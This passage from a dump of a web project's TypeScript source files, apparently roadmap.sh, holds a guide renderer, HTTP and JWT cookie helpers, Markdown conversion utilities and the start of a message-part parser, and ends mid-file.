this.getText(childNode)).join('');\n    }\n\n    return '';\n  }\n\n  // `content` will call corresponding node type\n  // and return text content\n  private content(node: JSONContent): JSX.Element[] {\n    const allNodes = node.content || [];\n    return allNodes\n      .map((childNode, index) => {\n        const component = this.renderNode(childNode);\n        if (!component) {\n          return null;\n        }\n\n        return (\n          <Fragment key={`${childNode.type}-${index}`}>{component}</Fragment>\n        );\n      })\n      .filter(Boolean) as JSX.Element[];\n  }\n\n  // `renderNode` will call the method of the corresponding node type\n  private renderNode(node: JSONContent): JSX.Element | null {\n    const type = node.type || '';\n\n    if (type in this) {\n      // @ts-expect-error - `this` is not assignable to type 'never'\n      return this[type]?.(node) as JSX.Element;\n    }\n\n    console.log(`Node type \"${type}\" is not supported.`);\n    return null;\n  }\n\n  // `renderMark` will call the method of the corresponding mark type\n  private renderMark(node: JSONContent): JSX.Element {\n    // It will wrap the text with the corresponding mark type\n    const text = node?.text || <>&nbsp;</>;\n    let marks = node?.marks || [];\n    // sort the marks by uderline, bold, italic, textStyle, link\n    // so that the text will be wrapped in the correct order\n    marks.sort((a, b) => {\n      return this.marksOrder.indexOf(a.type) - this.marksOrder.indexOf(b.type);\n    });\n\n    return marks.reduce(\n      (acc, mark) => {\n        const type = mark.type;\n        if (type in this) {\n          // @ts-expect-error - `this` is not assignable to type 'never'\n          return this[type]?.(mark, acc) as JSX.Element;\n        }\n\n        throw new Error(`Mark type \"${type}\" is not supported.`);\n      },\n      <>{text}</>,\n    );\n  }\n\n  private paragraph(node: JSONContent): JSX.Element {\n    const isEmpty =\n      !node.content ||\n      node.content?.every(\n        (child) => child.type === 'text' && child.text === '',\n      );\n    if (isEmpty) {\n      return <></>;\n    }\n\n    return <p>{this.content(node)}</p>;\n  }\n\n  private text(node: JSONContent): JSX.Element {\n    if (node.marks) {\n      return this.renderMark(node);\n    }\n\n    const text = node.text;\n    return text ? <>{text}</> : <>&nbsp;</>;\n  }\n\n  private bold(_: MarkType, text: JSX.Element): JSX.Element {\n    return <strong>{text}</strong>;\n  }\n\n  private italic(_: MarkType, text: JSX.Element): JSX.Element {\n    return <em>{text}</em>;\n  }\n\n  private underline(_: MarkType, text: JSX.Element): JSX.Element {\n    return <u>{text}</u>;\n  }\n\n  private strike(_: MarkType, text: JSX.Element): JSX.Element {\n    return <s style={{ textDecoration: 'line-through' }}>{text}</s>;\n  }\n\n  private textStyle(mark: MarkType, text: JSX.Element): JSX.Element {\n    const { attrs } = mark;\n    const { color = 'inherit' } = attrs || {};\n\n    return (\n      <span\n        style={{\n          color,\n        }}\n      >\n        {text}\n      </span>\n    );\n  }\n\n  private link(mark: MarkType, text: JSX.Element): JSX.Element {\n    const { attrs } = mark;\n    const { href } = attrs || {};\n\n    const isExternal = href?.startsWith('http');\n    const isRoadmapUrl = href?.startsWith('https://roadmap.sh/');\n\n    const rel = isExternal && !isRoadmapUrl ? 'noopener noreferrer' : undefined;\n\n    return (\n      <a href={href} target=\"_blank\" rel={rel}>\n        {text}\n      </a>\n    );\n  }\n\n  private heading(node: JSONContent): JSX.Element {\n    const { attrs } = node;\n    const { level } = attrs || {};\n\n    const text = this.getText(node);\n    const slug = slugify(text);\n\n    let Comp: keyof JSX.IntrinsicElements = 'h1';\n    if (level === 2) {\n      Comp = 'h2';\n    } else if (level === 3) {\n      Comp = 'h3';\n    } else if (level === 4) {\n      Comp = 'h4';\n    } else if (level === 5) {\n      Comp = 'h5';\n    } else if (level === 6) {\n      Comp = 'h6';\n    }\n\n    return <Comp id={slug}>{this.content(node)}</Comp>;\n  }\n\n  private horizontalRule(_: JSONContent): JSX.Element {\n    return <hr />;\n  }\n\n  private orderedList(node: JSONContent): JSX.Element {\n    return <ol>{this.content(node)}</ol>;\n  }\n\n  private bulletList(node: JSONContent): JSX.Element {\n    return <ul>{this.content(node)}</ul>;\n  }\n\n  private listItem(node: JSONContent): JSX.Element {\n    return <li>{this.content(node)}</li>;\n  }\n\n  private hardBreak(_: JSONContent): JSX.Element {\n    return <br />;\n  }\n\n  private image(node: JSONContent): JSX.Element {\n    const { attrs } = node;\n    const { src, alt } = attrs || {};\n\n    return <img alt={alt || 'Image'} src={src} />;\n  }\n\n  private code(_: MarkType, text: JSX.Element): JSX.Element {\n    return <code>{text}</code>;\n  }\n\n  private codeBlock(node: JSONContent): JSX.Element {\n    const code = this.getText(node);\n    const language = node.attrs?.language || 'javascript';\n\n    return (\n      <div className=\"not-prose my-6 w-full max-w-full overflow-hidden rounded-lg border border-gray-200\">\n        <CodeBlockHeader language={language} code={code} />\n\n        <CodeBlockItem key={language} value={language} lineNumbers={false}>\n          <CodeBlockContent language={language}>{code}</CodeBlockContent>\n        </CodeBlockItem>\n      </div>\n    );\n  }\n\n  private blockquote(node: JSONContent): JSX.Element {\n    return <blockquote>{this.content(node)}</blockquote>;\n  }\n\n  questions(node: JSONContent) {\n    const content = node.content || [];\n    const questions: QuestionType[] = [];\n    let currentTopic: string | null = null;\n    let currentQuestion: QuestionType | null = null;\n\n    for (const childNode of content) {\n      switch (childNode.type) {\n        case 'heading':\n          // if level is 2, it's a topic\n          if (childNode.attrs?.level === 2) {\n            currentTopic = this.getText(childNode);\n            // if level is 3, it's a question\n          } else if (childNode.attrs?.level === 3) {\n            if (currentTopic) {\n              const questionText = this.getText(childNode);\n              currentQuestion = {\n                id: slugify(questionText),\n                question: questionText,\n                answer: {\n                  type: 'doc',\n                  content: [],\n                },\n                topics: [currentTopic],\n              };\n              questions.push(currentQuestion);\n            }\n          }\n          break;\n        // anything else is an answer\n        default:\n          if (!currentQuestion || !currentQuestion.answer.content) {\n            console.warn('No current question found');\n            continue;\n          }\n\n          currentQuestion.answer.content.push(childNode);\n          break;\n      }\n    }\n\n    return questions;\n  }\n\n  private qaSection(node: JSONContent): JSX.Element {\n    const questions = this.questions(node);\n\n    const questionsGroupedByTopics = questions.reduce(\n      (acc, question) => {\n        question.topics?.forEach((topic) => {\n          acc[topic] = [...(acc[topic] || []), question];\n        });\n        return acc;\n      },\n      {} as Record<string, QuestionType[]>,\n    );\n\n    const topicsInOrder = [\n      ...new Set(\n        questions\n          .map((question) => question.topics)\n          .flat()\n          .filter(Boolean),\n      ),\n    ];\n\n    return (\n      <>\n        <h2 id=\"test-with-flashcards\">Test yourself with Flashcards</h2>\n        <p>\n          You can either use these flashcards or jump to the questions list\n          section below to see them in a list format.\n        </p>\n\n        <div className=\"mx-0 sm:-mb-32\">\n          <QuestionsList questions={questions} />\n        </div>\n\n        <h2 id=\"questions-list\">Questions List</h2>\n        <p>\n          If you prefer to see the questions in a list format, you can find them\n          below.\n        </p>\n\n        {topicsInOrder.map((questionLevel) => (\n          <div className=\"mb-5\" key={questionLevel}>\n            <h3 id={slugify(questionLevel)} className=\"mb-0 capitalize\">\n              {questionLevel.toLowerCase() === 'beginners'\n                ? 'Beginner Level'\n                : questionLevel.toLowerCase() === 'intermediate'\n                  ? 'Intermediate Level'\n                  : questionLevel.toLowerCase() === 'advanced'\n                    ? 'Advanced Level'\n                    : questionLevel}\n            </h3>\n            {questionsGroupedByTopics[questionLevel].map((q) => (\n              <div className=\"mb-5\" key={q.id}>\n                <h4>{q.question}</h4>\n                <div>{this.render(q.answer)}</div>\n              </div>\n            ))}\n          </div>\n        ))}\n      </>\n    );\n  }\n\n  private table(node: JSONContent): JSX.Element {\n    const content = node.content || [];\n    const rows = content.filter((node) => node.type === 'tableRow');\n    const firstRow = rows?.[0];\n    const hasTableHead = firstRow?.content?.some(\n      (node) => node.type === 'tableHeader',\n    );\n\n    const remainingRows = rows.slice(hasTableHead ? 1 : 0);\n\n    return (\n      <table className=\"[&_p]:m-0\">\n        {hasTableHead && <thead>{this.renderNode(firstRow)}</thead>}\n        <tbody>\n          {this.render({\n            type: 'doc',\n            content: remainingRows,\n          })}\n        </tbody>\n      </table>\n    );\n  }\n\n  private tableRow(node: JSONContent): JSX.Element {\n    return <tr>{this.content(node)}</tr>;\n  }\n\n  private tableHeader(node: JSONContent): JSX.Element {\n    return <th>{this.content(node)}</th>;\n  }\n\n  private tableCell(node: JSONContent): JSX.Element {\n    return <td>{this.content(node)}</td>;\n  }\n}\n\nexport const guideRenderer = new GuideRenderer();\n"
  },
  {
    "path": "src/lib/guide.ts",
    "content": "import type { MarkdownFileType } from './file';\nimport { type AuthorFileType, getAllAuthors } from './author.ts';\nimport { replaceVariables } from './markdown.ts';\n\nexport interface GuideFrontmatter {\n  title: string;\n  description: string;\n  authorId: string;\n  canonicalUrl?: string;\n  // alternate path where this guide has been published\n  excludedBySlug?: string;\n  seo: {\n    title: string;\n    description: string;\n    ogImageUrl?: string;\n  };\n  isNew: boolean;\n  type: 'visual' | 'textual';\n  date: string;\n  sitemap: {\n    priority: number;\n    changefreq: 'daily' | 'weekly' | 'monthly' | 'yearly';\n  };\n  relatedTitle?: string;\n  relatedGuidesId?: string;\n  tags: string[];\n}\n\nexport type GuideFileType = MarkdownFileType<GuideFrontmatter> & {\n  id: string;\n  author: AuthorFileType;\n  relatedGuides?: Record<string, string>;\n};\n\n/**\n * Generates id from the given guide file\n * @param filePath Markdown file path\n *\n * @returns unique guide identifier\n */\nfunction guidePathToId(filePath: string): string {\n  const fileName = filePath.split('/').pop() || '';\n\n  return fileName.replace('.md', '');\n}\n\nexport async function getGuidesByAuthor(\n  authorId: string,\n): Promise<GuideFileType[]> {\n  const allGuides = await getAllGuides();\n\n  return allGuides.filter((guide) => guide.author?.id === authorId);\n}\n\n/**\n * Gets all the guides sorted by the publishing date\n * @returns Promisifed guide files\n */\nexport async function getAllGuides(): Promise<GuideFileType[]> {\n  // @ts-ignore\n  const guides = import.meta.glob<GuideFileType>('/src/data/guides/*.md', {\n    eager: true,\n  });\n\n  const allAuthors = await getAllAuthors();\n\n  const guideFiles = Object.values(guides) as GuideFileType[];\n\n  let enrichedGuides: GuideFileType[] = guideFiles.map((guideFile) => {\n    let relatedGuides: GuideFileType[] = [];\n    if (guideFile.frontmatter.relatedGuidesId) {\n      relatedGuides = guideFiles.filter(\n        (g) =>\n          g?.frontmatter?.relatedGuidesId ===\n            guideFile.frontmatter.relatedGuidesId && g.file !== guideFile.file,\n      );\n    }\n\n    return {\n      ...guideFile,\n      id: guidePathToId(guideFile.file),\n      author: allAuthors.find(\n        (author) => author.id === guideFile.frontmatter.authorId,\n      )!,\n      frontmatter: {\n        ...guideFile.frontmatter,\n        title: replaceVariables(guideFile.frontmatter.title),\n        description: replaceVariables(guideFile.frontmatter.description),\n        seo: {\n          ...(guideFile.frontmatter?.seo || {}),\n          title: replaceVariables(guideFile.frontmatter.seo?.title || ''),\n          description: replaceVariables(guideFile.frontmatter.seo?.description || ''),\n        },\n      },\n      relatedGuides: relatedGuides.reduce(\n        (acc, guide) => {\n          acc[replaceVariables(guide.frontmatter.title)] =\n            guide.frontmatter?.excludedBySlug ||\n            `/guides/${guidePathToId(guideFile.file)}`;\n          return acc;\n        },\n        {} as Record<string, string>,\n      ),\n    };\n  });\n\n  return enrichedGuides.sort(\n    (a, b) =>\n      new Date(b.frontmatter.date).valueOf() -\n      new Date(a.frontmatter.date).valueOf(),\n  );\n}\n\n/**\n * Gets the guide by the given id\n * @param id Guide identifier\n * @returns Promisified guide file\n */\nexport async function getGuideById(\n  id: string,\n): Promise<GuideFileType | undefined> {\n  const allGuides = await getAllGuides();\n\n  return allGuides.find((guide) => guide.id === id);\n}\n\ntype HeadingType = ReturnType<MarkdownFileType['getHeadings']>[number];\nexport type HeadingGroupType = HeadingType & { children: HeadingType[] };\n\nconst NUMBERED_LIST_REGEX = /^\\d+\\.\\s+?/;\n\nexport function getGuideTableOfContent(headings: HeadingType[]) {\n  const tableOfContents: HeadingGroupType[] = [];\n  let currentGroup: HeadingGroupType | null = null;\n\n  headings\n    .filter((heading) => heading.depth !== 1)\n    .forEach((heading) => {\n      if (heading.depth === 2) {\n        currentGroup = {\n          ...heading,\n          text: heading.text.replace(NUMBERED_LIST_REGEX, ''),\n          children: [],\n        };\n        tableOfContents.push(currentGroup);\n      } else if (currentGroup && heading.depth === 3) {\n        currentGroup.children.push({\n          ...heading,\n          text: heading.text.replace(NUMBERED_LIST_REGEX, ''),\n        });\n      }\n    });\n\n  if (tableOfContents.length > 5) {\n    tableOfContents.forEach((group) => {\n      group.children = [];\n    });\n  }\n\n  return tableOfContents;\n}\n"
  },
  {
    "path": "src/lib/html.ts",
    "content": "import TurndownService from \"turndown\";\nconst turndown = new TurndownService();\n\nexport function htmlToMarkdown(html: string) {\n  return turndown.turndown(html);\n}\n"
  },
  {
    "path": "src/lib/http.ts",
    "content": "import Cookies from 'js-cookie';\nimport fp from '@fingerprintjs/fingerprintjs';\nimport { TOKEN_COOKIE_NAME, removeAuthToken } from './jwt';\n\ntype HttpOptionsType = RequestInit | { headers: Record<string, any> };\n\ntype AppResponse = Record<string, any>;\n\nexport type FetchError = {\n  status: number;\n  message: string;\n};\n\nexport type AppError = {\n  status: number;\n  message: string;\n  errors?: { message: string; location: string }[];\n};\n\ntype ApiReturn<ResponseType, ErrorType> = {\n  response?: ResponseType;\n  error?: ErrorType | FetchError;\n};\n\n/**\n * Wrapper around fetch to make it easy to handle errors\n *\n * @param url\n * @param options\n */\nexport async function httpCall<\n  ResponseType = AppResponse,\n  ErrorType = AppError,\n>(\n  url: string,\n  options?: HttpOptionsType,\n): Promise<ApiReturn<ResponseType, ErrorType>> {\n  let statusCode: number = 0;\n  try {\n    const fingerprintPromise = await fp.load();\n    const fingerprint = await fingerprintPromise.get();\n\n    const response = await fetch(url, {\n      credentials: 'include',\n      ...options,\n      headers: new Headers({\n        'Content-Type': 'application/json',\n        Accept: 'application/json',\n        Authorization: `Bearer ${Cookies.get(TOKEN_COOKIE_NAME)}`,\n        fp: fingerprint.visitorId,\n        ...(options?.headers ?? {}),\n      }),\n    });\n    statusCode = response.status;\n\n    // @ts-ignore\n    const doesAcceptHtml = options?.headers?.['Accept'] === 'text/html';\n\n    const data = doesAcceptHtml ? await response.text() : await response.json();\n\n    if (response.ok) {\n      return {\n        response: data as ResponseType,\n        error: undefined,\n      };\n    }\n\n    // Logout user if token is invalid\n    if (data.status === 401) {\n      removeAuthToken();\n      window.location.reload();\n      return { response: undefined, error: data as ErrorType };\n    }\n\n    if (data.status === 403) {\n      // window.location.href = '/account'; // @fixme redirect option should be configurable\n      return { response: undefined, error: data as ErrorType };\n    }\n\n    return {\n      response: undefined,\n      error: data as ErrorType,\n    };\n  } catch (error: any) {\n    return {\n      response: undefined,\n      error: {\n        status: statusCode,\n        message: error.message,\n      },\n    };\n  }\n}\n\nexport async function httpPost<\n  ResponseType = AppResponse,\n  ErrorType = AppError,\n>(\n  url: string,\n  body: Record<string, any>,\n  options?: HttpOptionsType,\n): Promise<ApiReturn<ResponseType, ErrorType>> {\n  return httpCall<ResponseType, ErrorType>(url, {\n    ...options,\n    method: 'POST',\n    body: JSON.stringify(body),\n  });\n}\n\nexport async function httpGet<ResponseType = AppResponse, ErrorType = AppError>(\n  url: string,\n  queryParams?: Record<string, any>,\n  options?: HttpOptionsType,\n): Promise<ApiReturn<ResponseType, ErrorType>> {\n  const searchParams = new URLSearchParams(queryParams).toString();\n  const queryUrl = searchParams ? `${url}?${searchParams}` : url;\n\n  return httpCall<ResponseType, ErrorType>(queryUrl, {\n    credentials: 'include',\n    method: 'GET',\n    ...options,\n  });\n}\n\nexport async function httpPatch<\n  ResponseType = AppResponse,\n  ErrorType = AppError,\n>(\n  url: string,\n  body: Record<string, any>,\n  options?: HttpOptionsType,\n): Promise<ApiReturn<ResponseType, ErrorType>> {\n  return httpCall<ResponseType, ErrorType>(url, {\n    ...options,\n    method: 'PATCH',\n    body: JSON.stringify(body),\n  });\n}\n\nexport async function httpPut<ResponseType = AppResponse, ErrorType = AppError>(\n  url: string,\n  body: Record<string, any>,\n  options?: HttpOptionsType,\n): Promise<ApiReturn<ResponseType, ErrorType>> {\n  return httpCall<ResponseType, ErrorType>(url, {\n    ...options,\n    method: 'PUT',\n    body: JSON.stringify(body),\n  });\n}\n\nexport async function httpDelete<\n  ResponseType = AppResponse,\n  ErrorType = AppError,\n>(\n  url: string,\n  options?: HttpOptionsType,\n): Promise<ApiReturn<ResponseType, ErrorType>> {\n  return httpCall<ResponseType, ErrorType>(url, {\n    ...options,\n    method: 'DELETE',\n  });\n}\n"
  },
  {
    "path": "src/lib/image.ts",
    "content": "import imageSize from 'image-size';\nimport { readFile } from 'node:fs/promises';\n\nexport async function getLocalImageDimensions(path: string) {\n  try {\n    const imageBuffer = await readFile(path);\n    return imageSize(imageBuffer);\n  } catch (error) {\n    console.error(error, (error as Error)?.stack);\n    return null;\n  }\n}\n"
  },
  {
    "path": "src/lib/is-mobile.ts",
    "content": "export function isAndroid(): boolean {\n  return (\n    typeof navigator !== 'undefined' && /android/i.test(navigator.userAgent)\n  );\n}\n\nexport function isSmallIOS(): boolean {\n  return (\n    typeof navigator !== 'undefined' && /iPhone|iPod/.test(navigator.userAgent)\n  );\n}\n\nexport function isLargeIOS(): boolean {\n  return (\n    typeof navigator !== 'undefined' &&\n    (/iPad/.test(navigator.userAgent) ||\n      (navigator.platform === 'MacIntel' && navigator.maxTouchPoints > 1))\n  );\n}\n\nexport function isIOS(): boolean {\n  return isSmallIOS() || isLargeIOS();\n}\n\nexport function isMobile(): boolean {\n  return isAndroid() || isIOS();\n}\n\nexport function isMobileScreen(): boolean {\n  return (\n    typeof window !== 'undefined' && (window.innerWidth < 640 || isMobile())\n  );\n}\n\nexport type TailwindScreenDimensions = 'sm' | 'md' | 'lg' | 'xl' | '2xl';\n\nexport function getTailwindScreenDimension(): TailwindScreenDimensions {\n  if (window.innerWidth < 640) {\n    return 'sm';\n  }\n\n  if (window.innerWidth < 768) {\n    return 'md';\n  }\n\n  if (window.innerWidth < 1024) {\n    return 'lg';\n  }\n\n  if (window.innerWidth < 1280) {\n    return 'xl';\n  }\n\n  return '2xl';\n}\n"
  },
  {
    "path": "src/lib/jsonld-schema.ts",
    "content": "import type { OfficialRoadmapQuestion } from '../queries/official-roadmap';\nimport { renderMarkdownFromJson } from './markdown-renderer';\n\ntype ArticleSchemaProps = {\n  url: string;\n  headline: string;\n  description: string;\n  imageUrl: string;\n  datePublished: string;\n  dateModified: string;\n};\n\nexport function generateArticleSchema(article: ArticleSchemaProps) {\n  const { url, headline, description, imageUrl, datePublished, dateModified } =\n    article;\n\n  return {\n    '@context': 'https://schema.org',\n    '@type': 'BlogPosting',\n    mainEntityOfPage: {\n      '@type': 'WebPage',\n      '@id': url,\n    },\n    headline: headline,\n    description: description,\n    image: imageUrl,\n    author: {\n      '@type': 'Person',\n      name: 'Kamran Ahmed',\n      url: 'https://twitter.com/kamrify',\n    },\n    publisher: {\n      '@type': 'Organization',\n      name: 'roadmap.sh',\n      logo: {\n        '@type': 'ImageObject',\n        url: 'https://roadmap.sh/img/brand-square.png',\n      },\n    },\n    datePublished: datePublished,\n    dateModified: dateModified,\n  };\n}\n\nexport function generateFAQSchema(faqs: OfficialRoadmapQuestion[]) {\n  return {\n    '@context': 'https://schema.org',\n    '@type': 'FAQPage',\n    mainEntity: faqs.map((faq) => ({\n      '@type': 'Question',\n      name: faq.title,\n      acceptedAnswer: {\n        '@type': 'Answer',\n        text: renderMarkdownFromJson(faq.description, { join: ' ' }),\n      },\n    })),\n  };\n}\n"
  },
  {
    "path": "src/lib/jwt.ts",
    "content": "import * as jose from 'jose';\nimport Cookies from 'js-cookie';\nimport type { AllowedOnboardingStatus } from '../api/user';\n\nexport const TOKEN_COOKIE_NAME = '__roadmapsh_jt__';\nexport const FIRST_LOGIN_PARAM = 'fl' as const;\nexport const COURSE_PURCHASE_PARAM = 't';\nexport const COURSE_PURCHASE_SUCCESS_PARAM = 'success';\n\nexport type TokenPayload = {\n  id: string;\n  email: string;\n  name: string;\n  avatar: string;\n  onboardingStatus?: AllowedOnboardingStatus;\n};\n\nexport function decodeToken(token: string): TokenPayload {\n  const claims = jose.decodeJwt(token);\n\n  return claims as TokenPayload;\n}\n\nexport function isLoggedIn() {\n  const token = Cookies.get(TOKEN_COOKIE_NAME);\n\n  return !!token;\n}\n\nexport function getUser() {\n  const token = Cookies.get(TOKEN_COOKIE_NAME);\n\n  if (!token) {\n    return null;\n  }\n\n  return decodeToken(token);\n}\n\nexport function setAuthToken(token: string) {\n  Cookies.set(TOKEN_COOKIE_NAME, token, {\n    path: '/',\n    expires: 30,\n    sameSite: 'lax',\n    secure: true,\n    domain: import.meta.env.DEV ? 'localhost' : '.roadmap.sh',\n  });\n  removeAIReferralCode();\n}\n\nexport function removeAuthToken() {\n  Cookies.remove(TOKEN_COOKIE_NAME, {\n    path: '/',\n    domain: import.meta.env.DEV ? 'localhost' : '.roadmap.sh',\n  });\n}\n\nexport function visitAIRoadmap(roadmapId: string) {\n  const isAlreadyVisited = Number(Cookies.get(`crv-${roadmapId}`) || 0) === 1;\n  if (isAlreadyVisited) {\n    return;\n  }\n\n  Cookies.set(`crv-${roadmapId}`, '1', {\n    path: '/',\n    expires: 1 / 24, // 1 hour\n    sameSite: 'lax',\n    secure: !import.meta.env.DEV,\n    domain: import.meta.env.DEV ? 'localhost' : '.roadmap.sh',\n  });\n}\n\nconst AI_REFERRAL_COOKIE_NAME = 'referral_code';\n\nexport function setAIReferralCode(code: string) {\n  const alreadyExist = Cookies.get(AI_REFERRAL_COOKIE_NAME);\n  if (alreadyExist) {\n    return;\n  }\n\n  Cookies.set(AI_REFERRAL_COOKIE_NAME, code, {\n    path: '/',\n    expires: 365,\n    sameSite: 'lax',\n    secure: true,\n    domain: import.meta.env.DEV ? 'localhost' : '.roadmap.sh',\n  });\n}\n\nexport function removeAIReferralCode() {\n  Cookies.remove(AI_REFERRAL_COOKIE_NAME, {\n    path: '/',\n    domain: import.meta.env.DEV ? 'localhost' : '.roadmap.sh',\n  });\n}\n\nexport function setViewSponsorCookie(sponsorId: string) {\n  const key = `vsc-${sponsorId}`;\n  const alreadyExist = Cookies.get(key);\n  if (alreadyExist) {\n    return;\n  }\n\n  Cookies.set(key, '1', {\n    path: '/',\n    expires: 1,\n    sameSite: 'lax',\n    secure: true,\n    domain: import.meta.env.DEV ? 'localhost' : '.roadmap.sh',\n  });\n}\n"
  },
  {
    "path": "src/lib/markdown-renderer.tsx",
    "content": "import type { JSONContent } from '@tiptap/core';\n\nexport type MarkdownRendererOptions = {\n  join?: string;\n};\n\nexport class MarkdownRenderer {\n  private marksOrder = ['underline', 'bold', 'italic', 'textStyle', 'link'];\n\n  render(content: JSONContent, options: MarkdownRendererOptions = {}): string {\n    const nodes = content.content || [];\n    return nodes\n      .map((node) => this.renderNode(node))\n      .join(options?.join || '\\n\\n');\n  }\n\n  private renderNode(node: JSONContent): string {\n    const type = node.type || '';\n\n    if (type in this) {\n      // @ts-expect-error dynamic lookup\n      return this[type]?.(node);\n    }\n\n    console.warn(`Node type \"${type}\" is not supported.`);\n    return '';\n  }\n\n  private getText(node: JSONContent): string {\n    if (node.type === 'text') return node.text || '';\n    if (node.content)\n      return node.content.map((child) => this.getText(child)).join('');\n    return '';\n  }\n\n  private content(node: JSONContent): string {\n    return (node.content || []).map((child) => this.renderNode(child)).join('');\n  }\n\n  private renderMark(node: JSONContent): string {\n    let text = node.text || '';\n    let marks = node.marks || [];\n    marks.sort(\n      (a, b) =>\n        this.marksOrder.indexOf(a.type) - this.marksOrder.indexOf(b.type),\n    );\n\n    return marks.reduce((acc, mark) => {\n      if (mark.type === 'bold') return `**${acc}**`;\n      if (mark.type === 'italic') return `*${acc}*`;\n      if (mark.type === 'underline') return `_${acc}_`; // fallback since markdown has no underline\n      if (mark.type === 'code') return `\\`${acc}\\``;\n      if (mark.type === 'link') return `[${acc}](${mark.attrs?.href})`;\n      return acc;\n    }, text);\n  }\n\n  // ---- Nodes ----\n  private paragraph(node: JSONContent): string {\n    return this.content(node);\n  }\n\n  private text(node: JSONContent): string {\n    return node.marks ? this.renderMark(node) : node.text || '';\n  }\n\n  private heading(node: JSONContent): string {\n    const level = node.attrs?.level || 1;\n    const prefix = '#'.repeat(level);\n    return `${prefix} ${this.content(node)}`;\n  }\n\n  private bulletList(node: JSONContent): string {\n    return (node.content || [])\n      .map((child) => `- ${this.renderNode(child)}`)\n      .join('\\n');\n  }\n\n  private orderedList(node: JSONContent): string {\n    return (node.content || [])\n      .map((child, i) => `${i + 1}. ${this.renderNode(child)}`)\n      .join('\\n');\n  }\n\n  private listItem(node: JSONContent): string {\n    return this.content(node);\n  }\n\n  private blockquote(node: JSONContent): string {\n    return this.content(node)\n      .split('\\n')\n      .map((line) => `> ${line}`)\n      .join('\\n');\n  }\n\n  private codeBlock(node: JSONContent): string {\n    const code = this.getText(node);\n    const language = node.attrs?.language || '';\n    return `\\`\\`\\`${language}\\n${code}\\n\\`\\`\\``;\n  }\n\n  private horizontalRule(): string {\n    return `---`;\n  }\n\n  private image(node: JSONContent): string {\n    const { src, alt } = node.attrs || {};\n    return `![${alt || ''}](${src})`;\n  }\n\n  private table(node: JSONContent): string {\n    const rows = (node.content || []).filter((n) => n.type === 'tableRow');\n    return rows.map((row) => this.renderNode(row)).join('\\n');\n  }\n\n  private tableRow(node: JSONContent): string {\n    return `| ${this.content(node)} |`;\n  }\n\n  private tableHeader(node: JSONContent): string {\n    return this.content(node);\n  }\n\n  private tableCell(node: JSONContent): string {\n    return this.content(node);\n  }\n}\n\nexport function renderMarkdownFromJson(\n  json: JSONContent,\n  options: MarkdownRendererOptions = {},\n) {\n  return new MarkdownRenderer().render(json, options);\n}\n"
  },
  {
    "path": "src/lib/markdown.ts",
    "content": "// @ts-ignore\nimport MarkdownIt from 'markdown-it';\nimport MarkdownItAsync from 'markdown-it-async';\n\n// replaces @variableName@ with the value of the variable\nexport function replaceVariables(\n  markdown: string,\n  variables: Record<string, string> = {},\n): string {\n  const allVariables: Record<string, string> = {\n    ...variables,\n    currentYear: new Date().getFullYear().toString(),\n  };\n\n  return markdown?.replace(/@([^@]+)@/g, (match, p1) => {\n    return allVariables[p1] || match;\n  });\n}\n\nconst md = new MarkdownIt({\n  html: true,\n  linkify: true,\n});\n\nexport function markdownToHtml(markdown: string, isInline = true): string {\n  try {\n    const replacedMarkdown = replaceVariables(markdown);\n    if (isInline) {\n      return md.renderInline(replacedMarkdown);\n    } else {\n      return md.render(replacedMarkdown);\n    }\n  } catch (e) {\n    return markdown;\n  }\n}\n\n// This is a workaround for the issue with tiptap-markdown extension\n// It doesn't support links with escaped brackets like this:\n// \\\\[link\\\\](https://example.com) -> [link](https://example.com)\nexport function sanitizeMarkdown(markdown: string) {\n  return markdown.replace(/\\\\\\[([^\\\\]+)\\\\\\]\\(([^\\\\]+)\\)/g, '[$1]($2)');\n}\n\nconst markdownItAsync = MarkdownItAsync({\n  html: true,\n  linkify: true,\n\n  async highlight(code, lang, attrs) {\n    const { codeToHtml } = await import('shiki');\n\n    const html = await codeToHtml(code, {\n      lang: lang?.toLowerCase(),\n      theme: 'dracula',\n    }).catch((e) => {\n      console.warn(e);\n      return code;\n    });\n\n    return html;\n  },\n});\n\nexport async function markdownToHtmlWithHighlighting(markdown: string) {\n  try {\n    // Solution to open links in new tab in markdown\n    // otherwise default behaviour is to open in same tab\n    //\n    // SOURCE: https://github.com/markdown-it/markdown-it/blob/master/docs/architecture.md#renderer\n    const defaultRender =\n      markdownItAsync.renderer.rules.link_open ||\n      function (tokens, idx, options, env, self) {\n        return self.renderToken(tokens, idx, options);\n      };\n\n    markdownItAsync.renderer.rules.link_open = function (\n      tokens,\n      idx,\n      options,\n      env,\n      self,\n    ) {\n      // Add a new `target` attribute, or replace the value of the existing one.\n      tokens[idx].attrSet('target', '_blank');\n\n      // Pass the token to the default renderer.\n      return defaultRender(tokens, idx, options, env, self);\n    };\n\n    return markdownItAsync.renderAsync(replaceVariables(markdown));\n\n  } catch (e) {\n    return markdown;\n  }\n}\n"
  },
  {
    "path": "src/lib/message-part.ts",
    "content": "import { nanoid } from 'nanoid';\n\ntype MessagePart = {\n  id: string;\n  type: string;\n  text?: string;\n  data?: any;\n};\n\ntype MessagePartRendererProps = {\n  content: string;\n};\n\nexport type MessagePartRenderer = (props: MessagePartRendererProps) => any;\n\nexport function parseMessageParts(\n  content: string,\n  renderer: Record<string, MessagePartRenderer>,\n) {\n  const parts: MessagePart[] = [];\n  const tagNames = Object.keys(renderer);\n\n  // Remove codeblocks around custom tags\n  if (tagNames.length > 0) {\n    const tagPattern = tagNames.join('|');\n\n    // Remove opening codeblock before tags: ```lang\\n<tag> -> <tag>\n    // It sometimes puts codeblocks around our tags (despite us asking it not to)\n    // so we manually remove them here\n    content = content.replace(\n      new RegExp(`\\`\\`\\`\\\\w*?\\\\n+?<(${tagPattern})>`, 'g'),\n      '<$1>',\n    );\n\n    // Remove closing codeblock after tags: </tag>\\n```  -> </tag>\n    content = content.replace(\n      new RegExp(`<\\\\/(${tagPattern})>\\\\n+?\\`\\`\\``, 'g'),\n      '</$1>',\n    );\n  }\n\n  // If no renderers, just return the content as markdown\n  if (tagNames.length === 0) {\n    parts.push({\n      id: nanoid(),\n      type: 'text',\n      text: content,\n    });\n    return parts;\n  }\n\n  const tagPattern = tagNames.join('|');\n  const regex = new RegExp(`<(${tagPattern})>(.*?)<\\/\\\\1>`, 'gs');\n\n  let lastIndex = 0;\n  let match;\n\n  // we will match only tags that have renderers\n  // and then we will render each tag with the corresponding renderer\n  // and then we will push the rendered content to the parts array\n  while ((match = regex.exec(content)) !== null) {\n    const [_, tag, innerContent] = match;\n\n    // push the text before the tag\n    // so that we can render it later\n    if (match.index > lastIndex) {\n      const rawBefore = content.slice(lastIndex, match.index);\n      parts.push({\n        id: nanoid(),\n        type: 'text',\n        text: rawBefore,\n      